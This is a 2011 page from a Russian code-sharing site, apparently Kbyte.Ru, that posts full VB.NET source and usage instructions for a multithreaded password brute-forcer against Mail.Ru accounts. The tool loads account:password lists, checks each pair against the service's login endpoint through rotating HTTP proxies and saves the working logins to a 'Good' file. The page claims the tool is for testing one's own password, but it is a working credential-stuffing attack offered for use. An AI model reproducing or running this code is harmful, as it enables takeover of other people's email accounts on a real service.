Мой Kbyte.Ru
Рассылка Kbyte.Ru
Группы на Kbyte.Ru
Партнеры Kbyte.Ru
Реклама
Сделано руками
Сделано руками
> Исходные коды - Артем Донцов -

Visual Basic .NET - Сетевая безопасность

Все примеры / Безопасность / Сетевая безопасность

Многопоточный подборщик паролей Mail.Ru

Автор: Артем Донцов | добавлено: 23.02.2011, 12:26 | просмотров: 7524 (1+) | комментариев: 0 | рейтинг: *x6
Исходник многопоточного подборщика паролей для сервиса Mail.Ru и всех его поддоменов. С поддержкой HTTP прокси :) Исходный код 2-ух модулей MRBrute.vb и Globals.vb

Служит для проверки на прочность вашего личного пароля. Использование не по назначению ведет к уголовной ответственности)

Инструкции

В папке рядом с исполняемым файлом создаем 2 текстовых файла Proxy.txt для списка HTTP прокси и Source.txt для списка аккаунтов для брута, типа:
qwe@mail.ru:pass
qwe1@mail.ru:pass
qwe2@mail.ru:pass
и т.д.

Запускать так:
mStart(<Кол-во потоков>)

Останавливать:
mStop()

Код

MRBrute.vb:
Imports System.Net
Imports System.Threading
Imports System.Text
Imports System.IO
 
Module MRBrute
 
  Private Sub BruteForce()
    Dim result As String
    Dim n As Integer
    Do Until (nSource > sourceLength - 1)
      nSource += 1 : n = nSource
newProxy:
      nProxy += 1
      Try
        If nProxy = proxyLength Then nProxy = 0
        If listProxy(nProxy) = "" Then GoTo newProxy
 
        result = Auth(GetBetween(pars(listSource(nSource)), "l", "l", 0), GetBetween(pars(listSource(nSource)), "p", "p", 0), GetBetween(pars(listSource(nSource)), "d", "d", 0), listProxy(nProxy))
 
        If result = "Невозможно соединиться с удаленным сервером" Then listProxy(nProxy) = "" : GoTo newProxy
 
        If result = True Then
          gGood += 1
          mGood += listSource(n) + vbNewLine
        Else
          gBad += 1
          mBad += listSource(n) + vbNewLine
        End If
      Catch ex As Exception
      End Try
    Loop
    Form1.Button1.Enabled = False : Form1.Button2.Enabled = False
  End Sub
  Private Function Auth(ByVal Login As String, ByVal Password As String, ByVal Domain As String, ByVal Proxy As String) As String
    Try
      Dim Request As HttpWebRequest = HttpWebRequest.Create("http://win.mail.ru/cgi-bin/auth?Login=" + Login + "&Domain=" + Domain + "&Password=" + Password)
      Dim Response As HttpWebResponse
 
      Request.Proxy = New WebProxy(Proxy)
 
      Request.AllowAutoRedirect = False
      Response = Request.GetResponse
 
      If Not String.IsNullOrEmpty(Response.Headers("Set-Cookie")) Then
        If (GetBetween(Response.Headers("Set-Cookie"), "Mpop=", ";", 0)) <> "" Then Return True
      End If
    Catch : End Try : Return False
  End Function
 
  Public Sub mStart(ByVal number As Integer)
    nProxy = -1 : nSource = -1
    Try
      For i As Integer = 0 To number - 1
        Dim Thread As New Threading.Thread(New ParameterizedThreadStart(AddressOf BruteForce))
        Thread.Start()
      Next
    Catch ex As Exception
      MsgBox(ex.Message)
    End Try
  End Sub
  Public Sub mStop()
    nSource = sourceLength + 10
  End Sub
 
  Public Sub SaveGood()
    Try
      My.Computer.FileSystem.WriteAllText(pGood, mGood, False)
    Catch ex As IOException
      MsgBox(ex.Message)
    End Try
  End Sub
  Public Sub SaveBad()
    Try
      My.Computer.FileSystem.WriteAllText(pBad, mBad, False)
    Catch ex As IOException
      MsgBox(ex.Message)
    End Try
  End Sub
 
  Public Function getStat()
    Dim Status As String = ""
    Status += "Source: " + sourceLength.ToString + vbNewLine
    Status += "Proxy: " + proxyLength.ToString + vbNewLine
    Status += "Threads: " + Threads.ToString + vbNewLine
    Status += "-----" + vbNewLine
    Status += "Good: " + gGood.ToString + vbNewLine
    Status += "Bad: " + gBad.ToString + vbNewLine
    Status += "-----" + vbNewLine
    Status += "Left: " + (sourceLength - (gGood + gBad)).ToString + vbNewLine
    Return Status
  End Function
 
#Region "Загрузка списков"
  Public Sub loadProxy()
    Try
      listProxy = File.ReadAllLines(pProxy)
      proxyLength = listProxy.Length
    Catch ex As Exception
      MsgBox(ex.Message)
    End Try
  End Sub
  Public Sub loadSource()
    Try
      listSource = File.ReadAllLines(pSource)
      sourceLength = listSource.Length
    Catch ex As Exception
      MsgBox(ex.Message)
    End Try
  End Sub
#End Region
 
#Region "Ф-ии парсинга"
  Private Function pars(ByVal acc As String) As String
    Try
      Dim login, pass, domain As String
      Dim obg As String
      Dim Options1() As String
 
      Options1 = Split(acc, Delimiter)
      obg = Options1(0)
      pass = Options1(1)
 
      Options1 = Split(obg, "@")
      login = Options1(0)
      domain = Options1(1)
 
      Return "l" + login + "l d" + domain + "d p" + pass + "p"
    Catch
      Return False
    End Try
  End Function
 
  Public Function GetBetween(ByRef strSource As String, ByRef strStart As String, ByRef strEnd As String, Optional ByRef startPos As Integer = 0) As String
    Dim iPos As Integer, iEnd As Integer, lenStart As Integer = strStart.Length
    Dim strResult As String
 
    strResult = String.Empty
    iPos = strSource.IndexOf(strStart, startPos)
    iEnd = strSource.IndexOf(strEnd, iPos + lenStart)
 
    If iPos <> -1 AndAlso iEnd <> -1 Then
      strResult = strSource.Substring(iPos + lenStart, iEnd - (iPos + lenStart))
    End If
    Return strResult
  End Function
#End Region
End Module

Globals.vb:
 Module Globals
  Public Threads As String = 1
 
  Public mBad As String = ""
  Public mGood As String = ""
 
  Public Status As String
  Public Delimiter As String = ":"
 
  Public nProxy = -1, nSource As Integer = -1
 
  Public proxyLength As Integer
  Public sourceLength As Integer
  Public gGood = 0, gBad As Integer = 0
 
  Public pProxy As String = Application.StartupPath & "\Proxy.txt"
  Public pSource As String = Application.StartupPath & "\Source.txt"
  Public pBad As String = Application.StartupPath & "\Bad.txt"
  Public pGood As String = Application.StartupPath & "\Good.txt"
 
  Public listProxy() As String
  Public listSource() As String
End Module

Как это работает?

Использует классы HttpWebRequest и HttpWebResponse, передает данные GET методом на сервер Mail.Ru и в случае удачной авторизации добавляет строку в переменную Good, иначе в Bad)
Об авторе

Артем Донцов

Нет информации об авторе...

См. также:
Профиль автора
Артем Донцов
Похожие примеры (всего: 2)
Последние комментарии (всего: 0)

Добавлять комментарии могут только зарегистрированные пользователи сайта.
Если у Вас уже есть учетная запись на Kbyte.Ru, пройдите процедуру авторизации OpenID.
Если Вы еще не зарегистрированы на Kbyte.Ru - зарегистрируйтесь.


Нет комментариев...

Авторизация
 
OpenID
Зарегистрируйся и получи 10% скидку на добавление своего сайта в каталоги! Подробнее »
Поиск по сайту
Реклама
Счетчики